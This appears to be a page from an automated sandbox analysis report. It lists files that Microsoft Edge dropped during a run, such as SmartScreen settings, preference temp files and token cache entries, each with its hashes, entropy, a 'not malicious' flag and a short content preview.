aajcpbcbckoiafnblkdhnldokclbhiaaaajfoihhopfmnlhlnlhogjonmllocoaaaajhoimomebpcfopjpgkbbjdnldoihaaaakdafje

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	4.9914392566496675
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUBQLrBVn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUqrBV
MD5:	EA72A6E8700BEC21C05191511B4008B4
SHA1:	420C8A49FF38EF6CF90D234EB75750894E09AE73
SHA-256:	E294F482C44FA44B600B129B519BF2B73264A138D667EF5434CABF29502E9AC7
SHA-512:	A8AB82D4032DD75FA99FEF7CFD2D7E589E45D337CB316F7D83F5D7F37BC51E2A46C873466C9DE9F39E7B7B430D99BD504CB067069A14191F18E13D9854AB8BC9
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731515728785521}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b0040358-89b7-404c-aa01-9dfdfea32de0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46518
Entropy (8bit):	6.085254559090027
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQcrQgv93nWi1zNt5FeO5mycPQEFXM4pP218xCioEJDSgzMMd6qD47m:cMk1rT8HP97gP218xFoEtSmd6qE7m
MD5:	5DE4C12EFE52D745DAFE49B3BB3C3F1D
SHA1:	2E8F508A7EC5DA68744C66D08E2C211022CB23BF
SHA-256:	BDE248A3C9350721E309419A2F36318AD4D4ACEBA67A1445A6B7689AE0921650
SHA-512:	09B638F490981081E4323230724543A20AB9B428401E52F5512DF46D1CA3647F905CCEE5FD3E43B5D588BA0494C28D4E941BD3E5811482B831D1128B50EF7586
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375888525399543","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"25ace1c2-d0e4-4eed-9fc3-8758dfaeecf9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731414929"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\b7ac23fe-ed44-4e00-b9ed-ca3aa80c4c36.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46441
Entropy (8bit):	6.085330144057863
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQcrQgxK3nWi1zNt5Feb95mycPQEFXM4pP218xCioEJDSgzMMd6qD4S:cMk1rT8HRK7EEP218xFoEtSmd6qE7m
MD5:	86BCBBB57B2C27BAF7DFED91D154F2A9
SHA1:	BDFE55C235FB0F1BA7F753DBDFA6E89ABE4436C7
SHA-256:	10493B36746774AF532EBF506A664958667CA445E832D92CD7DAC75478546CB0
SHA-512:	245E07D8C4E24B6901AE9CF1C752E02374B47134A5B9B1B55494318383DB500A3BA2BE57174C5749CB38871EBBAB5ACA024B2B7764292D7A156F51A5F2A5929E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375888525399543","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"25ace1c2-d0e4-4eed-9fc3-8758dfaeecf9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731414929"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c455d47b-752c-4084-a099-e5a3d916d8f8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46394
Entropy (8bit):	6.085634059764052
Encrypted:	false
SSDEEP:	768:cMkbJrT8IeQcrQgxK3ZWi1zNt5Feb95mycPQEFXM4pP218xCioEJDSgzMMd6qD4S:cMk1rT8HRKJEEP218xFoEtSmd6qE7m
MD5:	0ED274A65607FF14A52F0E88E8EDF8ED
SHA1:	0AE25AB811A785E9555A5D32DF685199A1A78136
SHA-256:	2D4DBFB03A9DC6632D17A475031D49B02D61EC770F26F02CB390F04AC2DC9807
SHA-512:	8C09155E84FFE527990B78A852C04DC30857BA2DAAEC37F0537C4B4DA2CA0AE2300D359EDD1880ECD26D860A90BCE176FBBB19976EE5BE97B18B7227422E459A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13375888525399543","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"25ace1c2-d0e4-4eed-9fc3-8758dfaeecf9"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731414929"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ec716587-1ec0-404f-a719-6da0a23cf5a4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44980
Entropy (8bit):	6.094738265999134
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4xWJXi1zNt5Feb95mycPQEFXM4pKJDSgzMMd6qD47u3S:+/Ps+wsI7yOTEEKtSmd6qE7lFoC
MD5:	6D5D274A4448310A9E31786F7283A89E
SHA1:	BBEFA6B29EB8E185E7E392B5FC33BD105776C827
SHA-256:	F81465510996CAD2822DA8CDC34BD9370B073234C425EAC34073847B119F274B
SHA-512:	D92841F2D444F3C73969A5586A1099631902F71625BCA5FAC5EA2ABE44025EC36C0E68ECBE4D4A35D76EB9ADD51AAC4E129334EF238D7234C096C4C1421FADB3
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f6fdc8b3-5c0a-4f76-83db-8fcf8bc0d2a1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44898
Entropy (8bit):	6.094596317719851
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWsXi1zNt5FebNhQHsCKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7yniESKtSmd6qE7lFoC
MD5:	7232F7686DDFCE6161B71EB4E2F6F08B
SHA1:	7625626D5351B92EF52E352D528F693E646E483E
SHA-256:	8F9A6768E31548D53D8DEA7B3DD04C42B91499411AA17869E941529E63D92528
SHA-512:	8CBC3008B7C65A8C8F79B3AE1AB4069667AE4722C87C3F13C8BE3E612CC9C400C2D2B6D672B095B6B34F0BDC12225629549CDAA11FD43E76A22C53E4EBD760CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8401581342505384
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxMxl9Il8ueqTbToIEiL6uiQ30PPcTUvlId3d1rc:mBY0qXToIE29io03cTUvlV
MD5:	7E22A7E1D86DD871B7345F41496D0219
SHA1:	A2BDEEA9348EA08C82E62D1CC5478DABD43C20F4
SHA-256:	8281EE1AB3E11F92FE2AC6EABA6DFE138CBDF8676EAEC6034BB36456FD9E2E03
SHA-512:	B3F8A7318F6EC794DB61B6A4CCAAB1E97168B8243FFC89F54BA96EF74823931E46238086E266172BFB4F087E2E4BA790B9A722F08712DBAC305E378EE60B7811
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.B.B.v.v.A.c.1.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.e.g.K.I.g.9.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.001327820073762
Encrypted:	false
SSDEEP:	96:3Y0q+BhoQIDWrLy2g+keBUse2jwg7WnuHfJ9V:3HoQID6Ly2g+XBUse2rJ
MD5:	A0B4C80540AC1E0E05229D46A9924A0E
SHA1:	9B126903314C6DCB12C271DA2C4A10A1B01ECCA3
